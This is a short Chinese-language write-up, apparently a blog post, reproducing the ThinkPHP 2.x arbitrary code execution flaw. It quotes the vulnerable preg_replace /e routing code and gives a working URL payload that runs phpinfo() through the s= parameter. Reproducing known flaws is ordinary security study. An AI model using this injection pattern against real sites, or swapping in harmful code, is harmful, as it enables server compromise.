网络安全/渗透测试/代码审计/
关注
ThinkPHP 2.x 任意代码执行漏洞复现
ThinkPHP 2.x 任意代码执行漏洞介绍
ThinkPHP 2.x 版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace(‘@(\w+)’.$depr.’([^’.$depr.’\/]+)@e’, ‘$var[\’\1\’]=”\2”;’, implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0 版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

这是Tp的默认页面,然后我们在网站后面加上:
index.php?s=/index/index/name/${@phpinfo()}

成功执行phpinfo!